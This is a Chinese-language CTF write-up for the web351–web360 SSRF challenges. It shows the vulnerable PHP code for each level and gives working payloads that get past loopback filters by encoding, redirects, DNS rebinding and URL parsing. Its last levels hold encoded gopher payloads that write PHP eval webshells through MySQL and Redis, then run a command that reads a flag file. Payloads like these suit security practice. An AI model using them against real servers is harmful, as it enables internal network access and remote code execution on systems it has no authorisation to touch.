目录
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
curl_init 初始化一个新的会话
curl_setopt 为 cURL 会话句柄设置选项
curl_setopt($ch, CURLOPT_HEADER, 0); 表示将结果输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 将获取的信息以文件流的形式返回
curl_exec 执行给定的cURL会话
看到代码中对要抓取的url没有过滤,那么我们直接构造url
url=http://127.0.0.1/flag.php
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这个题虽然有了过滤,但只是限制了127.0.0这种输入,我们依旧可以通过上一题的payload解决
(以127开头的都表示回环地址)
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
看到源码发现只要我们不是127.0.这种输入,便可以绕过,比如0或者127.1或者对127编码等等
payload:
url=http://0/flag.php
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
parse_url:对url进行解析,返回其组成部分(以关联数组的形式),对该题无影响
源码对1和0进行了过滤,接下来有三种方法:域名指向127、302跳转、DNS重绑定
第一种可以在自己的域名中添加一条记录A指向127.0.0.1,或者用现成的
http://sudo.cc(该域名指向127.0.0.1),即payload:url=http://sudo.cc/flag.php
第二种:在自己的网站上写入重定向如,接着url=http://your-domain/文件名.php
<?php
header("Location:http://127.0.0.1/flag.php");
?>
第三种:先讲解原理(参考:DNS重定向解析)
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS服务器,在我们的可控的DNS服务器上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证(同时绕过同源策略),所以服务器端返回访问内网资源的结果。
即利用时间差更改域名指向的ip,即可达到访问内网的目的(但我没做尝试)
这里用第一种方法即可
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
该题对host的长度做了限制,我们直接将host的127.0.0.1改为127.1或者0或者0.0等等,满足长度小于6即可
web356
代码对长度做了进一步限制,满足长度小于4即可,将127.0.0.1改为0或者0.0
tip:0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0(该地址指向所有ipv4)
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
拜读了大佬的文章:查看代码,发现使用gethostbyname来获取域名的真实ip(因此不能用域名指向的方法),但可以用DNS重定向与302跳转
这里先使用重定向,原因:在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 DNS重绑定来实现攻击。
在网址CEYE -dns重定向?注册账号,随后在主页面点击下面的+ New DNS
,添加127.0.0.1和35.10.24.1(随便一个可用的ip)。
翻阅ceye的DNS Rebinding页面的介绍,有这么一句话:
If your identifier is abcdef.ceye.io, then your DNS rebinding host is r.abcdef.ceye.io.
所以要使用DNS重定向,我们要在域名前面加上r.
payload:http://r.xxxx.ceye.io/flag.php
web358
看不懂正则,看了看wp发现要以ctf开头,show结尾
当parse_url()解析到邮箱时:@前面是user
file_get_contents()会访问host:port/path,与user无关
payload:这样parse_url()
真正解析出来的host是127.0.0.1,ctf.
变为了user字段
url=http://ctf.@127.0.0.1/flag.php?show
web359-Gopher协议打无密码的mysql
首先要下载 工具下载地址https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit mysql //运行脚本
相当于是在网页中创建了一个一句话木马的php文件,然后再进行一次url编码(下划线后面的)。
得到paylod:
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2546%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
在check.php页面对returl进行post传参,随后访问2.php
web360-Gopher协议打redis
gopher://127.0.0.1:6379/_%252a1%250d%250a%25248%250d%250aflushall%250d%250a%252a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252428%250d%250a%250a%250a%253c%253fphp%2520eval%2528%2524_post%255b1%255d%2529%253b%253f%253e%250a%250a%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a%252a1%250d%250a%25244%250d%250asave%250d%250a%250a
传入payload后,再访问/shell.php
执行命令即可(但环境不行,被我干废了)
cmd=system("cat /flaaag");